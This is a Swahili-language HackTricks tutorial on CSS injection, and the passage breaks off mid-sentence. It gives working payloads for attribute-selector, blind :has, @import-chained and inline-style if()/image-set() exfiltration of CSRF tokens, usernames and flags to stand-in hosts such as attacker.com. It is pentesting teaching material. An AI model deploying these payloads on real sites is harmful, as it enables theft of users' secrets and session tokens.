CSS Injection

Reading time: 24 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

CSS Injection

LESS Code Injection

LESS ni pre-processor maarufu wa CSS anayeeongeza variables, mixins, functions na directive yenye nguvu ya @import. Wakati wa compilation, engine ya LESS itachukua rasilimali zilizorejelewa katika taarifa za @import na kuingiza ("inline") yaliyomo ndani yao katika CSS inayotokana wakati chaguo la (inline) linapotumika.

{{#ref}} less-code-injection.md {{/ref}}

Attribute Selector

CSS selectors zimeundwa ili kuendana na thamani za attribute za name na value za element ya input. Ikiwa attribute value ya element ya input inaanza na karakteri maalum, rasilimali ya nje iliyowekwa mapema itapakiwa:

css
input[name="csrf"][value^="a"] {
background-image: url(https://attacker.com/exfil/a);
}
input[name="csrf"][value^="b"] {
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name="csrf"][value^="9"] {
background-image: url(https://attacker.com/exfil/9);
}

Hata hivyo, njia hii inakutana na kikomo wakati inashughulika na vipengele vya input vilivofichwa (type="hidden") kwa sababu vipengele vilivyo fichwa havipakia background.

Kupita kwa Vipengele Vilivyo Fichwa

Ili kuepuka kizuizi hiki, unaweza kulenga kipengele jirani kinachofuata kwa kutumia ~ general sibling combinator. Sheria ya CSS kisha inatumika kwa jirani zote zinazofuata kipengele cha input kilichofichwa, na kusababisha background image kupakia:

css
input[name="csrf"][value^="csrF"] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}

Mfano wa vitendo wa kutumia mbinu hii umefafanuliwa kwa undani katika kipande cha msimbo kilichotolewa. Unaweza kuiangalia here.

Masharti ya CSS Injection

Ili mbinu ya CSS Injection iwe na ufanisi, masharti fulani yanapaswa kutimizwa:

  1. Payload Length: CSS injection vector lazima iweze kuunga mkono payloads za urefu wa kutosha ili kuweza kupakia crafted selectors.
  2. CSS Re-evaluation: Unapaswa kuwa na uwezo wa kuweka ukurasa ndani ya frame, jambo muhimu kusababisha tathmini upya ya CSS na payloads mpya zilizotengenezwa.
  3. External Resources: Mbinu hii inadhani uwezo wa kutumia picha zilizohifadhiwa kwenye seva za nje. Hii inaweza kuzuiwa na Content Security Policy (CSP) ya tovuti.

Blind Attribute Selector

As explained in this post, inawezekana kuchanganya selectors :has na :not kutambua yaliyomo hata kutoka kwa blind elements. Hii ni muhimu sana unapokuwa huna wazo lolote la kile kilicho ndani ya ukurasa wa wavuti unaopakia CSS injection.
Pia inawezekana kutumia selectors hizo kutoa taarifa kutoka kwa vifungu vingi vya aina ile ile kama inavyoonyesha:

html
<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background: url(/m);
}
</style>
<input name="mytoken" value="1337" />
<input name="myname" value="gareth" />

Kuchanganya hili na mbinu ifuatayo ya @import, inawezekana exfiltrate taarifa nyingi kwa kutumia CSS injection kutoka kwa kurasa zisizoonekana kupitia blind-css-exfiltration.

@import

Mbinu ya awali ina mapungufu kadhaa; angalia mahitaji ya awali. Unahitaji kuwa unaweza ama send multiple links to the victim, au unaweza iframe the CSS injection vulnerable page.

Hata hivyo, kuna mbinu nyingine mahiri inayotumia CSS @import kuboresha ubora wa mbinu hii.

Hii ilifunuliwa mara ya kwanza na Pepe Vila na inafanya kazi hivi:

Badala ya kupakia ukurasa huo tena na tena ukiwa na mfululizo wa payloads tofauti kila mara (kama katika ile ya awali), tutapakia ukurasa mara moja tu na tu kwa kutumia import kuelekeza kwa attackers server (hii ndiyo payload ya kutuma kwa mhanga):

css
@import url("//attacker.com:5001/start?");
  1. Import itakuwa kupokea some CSS script kutoka kwa attackers na browser ita load.
  2. Sehemu ya kwanza ya CSS script ambayo attacker atatumia ni kingine @import kwa attackers server tena.
  3. attackers server haitajibu request hii bado, kwa sababu tunataka leak some chars kisha itumie import hii na payload ili leak zile zinazofuata.
  4. Sehemu ya pili na kubwa ya payload itakuwa attribute selector leakage payload
  5. Hii itatuma kwa attackers server first char ya secret na last one
  6. Mara attackers server itakapopokea first and last char ya secret, itafanya respond kwa import iliyohitajika katika hatua 2.
  7. Response itakuwa sawa kabisa na steps 2, 3 and 4, lakini wakati huu itajaribu kutafuta second char ya secret kisha penultimate.

Attacker atafuata mzunguko huo hadi aweze ku leak kabisa secret.

You can find the original Pepe Vila's code to exploit this here or you can find almost the same code but commented here.

tip

Skripti itajaribu kugundua 2 chars kila mara (kutoka mwanzoni na kutoka mwisho) kwa sababu attribute selector inaruhusu kufanya mambo kama:

css /* value^= to match the beggining of the value*/ input[value^="0"] { --s0: url(http://localhost:5001/leak?pre=0); }

/* value$= to match the ending of the value*/ input[value$="f"] { --e0: url(http://localhost:5001/leak?post=f); }

Hii inaruhusu script ku leak secret haraka zaidi.

warning

Wakati mwingine script haitambui kwa usahihi kwamba prefix + suffix zilizogunduliwa tayari ni flag kamili na itaendelea mbele (katika prefix) na nyuma (katika suffix) na kwa wakati fulani ita hang.
Usijali, angalia output kwa sababu unaweza kuona flag hapo.

Inline-Style CSS Exfiltration (attr() + if() + image-set())

Primitive hii inaruhusu exfiltration kwa kutumia tu attribute ya inline style ya element, bila selectors au external stylesheets. Inategemea CSS custom properties, func attr() ili kusoma same-element attributes, conditionals mpya za CSS if() kwa branching, na image-set() ili kusababisha network request inayoficha value iliyolingana.

warning

Equality comparisons katika if() zinahitaji double quotes kwa string literals. Single quotes hazita match.

  • Sink: control attribute ya style ya element na hakikisha target attribute iko kwenye element ile ile (attr() inasoma tu same-element attributes).
  • Read: nakili attribute ndani ya CSS variable: --val: attr(title).
  • Decide: chagua URL kwa kutumia nested conditionals ukilinganisha variable na string candidates: --steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2)).
  • Exfiltrate: apply background: image-set(var(--steal)) (au property yoyote inayofanya fetch) ili kulazimisha request kwa endpoint iliyochaguliwa.

Attempt (does not work; single quotes in comparison):

html
<div style="--val:attr(title);--steal:if(style(--val:'1'): url(/1); else: url(/2));background:image-set(var(--steal))" title=1>test</div>

Payload inayofanya kazi (double quotes zinahitajika katika kulinganisha):

html
<div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>

Kuhesabu thamani za attribute zenye masharti yaliyounganishwa:

html
<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>

Demo ya kweli (kujaribu majina ya watumiaji):

html
<div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://attacker.tld/martin); else: if(style(--val:"zak"): url(https://attacker.tld/zak); else: url(https://attacker.tld/james))); background: image-set(var(--steal));' data-username="james"></div>

Notes and limitations:

  • Inafanya kazi kwenye vichunguzi vya Chromium wakati wa utafiti; tabia inaweza kutofautiana kwenye engines nyingine.
  • Inafaa zaidi kwa nafasi za thamani zilizofungwa/zinazo-weza-kuhesabiwa (IDs, flags, short usernames). Kuiba mistari mirefu kwa hiari bila external stylesheets inabaki kuwa changamoto.
  • Mali yoyote ya CSS ambayo inachukua URL inaweza kutumika kusababisha ombi (mfano, background/image-set, border-image, list-style, cursor, content).

Otomatiki: Burp Custom Action inaweza kuzalisha nested inline-style payloads ili brute-force attribute values: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda

Vichujio vingine

Njia nyingine za kupata sehemu za DOM kwa kutumia CSS selectors:

  • .class-to-search:nth-child(2): Hii itatafuta kipengee cha pili chenye class "class-to-search" katika DOM.
  • :empty selector: Imetumika kwa mfano katika this writeup:

css [role^="img"][aria-label="1"]:empty { background-image: url("YOUR_SERVER_URL?1"); }

Rejea: CSS based Attack: Abusing unicode-range of @font-face , Error-Based XS-Search PoC by @terjanq

Nia kuu ni kutumia custom font kutoka endpoint inayodhibitiwa na kuhakikisha kwamba maandishi (katika kesi hii, 'A') yanaonyeshwa kwa font hii tu ikiwa rasilimali iliyoainishwa (favicon.ico) haiwezi kupakuliwa.

html
<!DOCTYPE html>
<html>
<head>
<style>
@font-face {
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range: U+0041;
}

#poc0 {
font-family: "poc";
}
</style>
</head>
<body>
<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
  1. Matumizi ya Fonti Mahususi:
  • Fonti maalum imefafanuliwa kwa kutumia kanuni ya @font-face ndani ya teg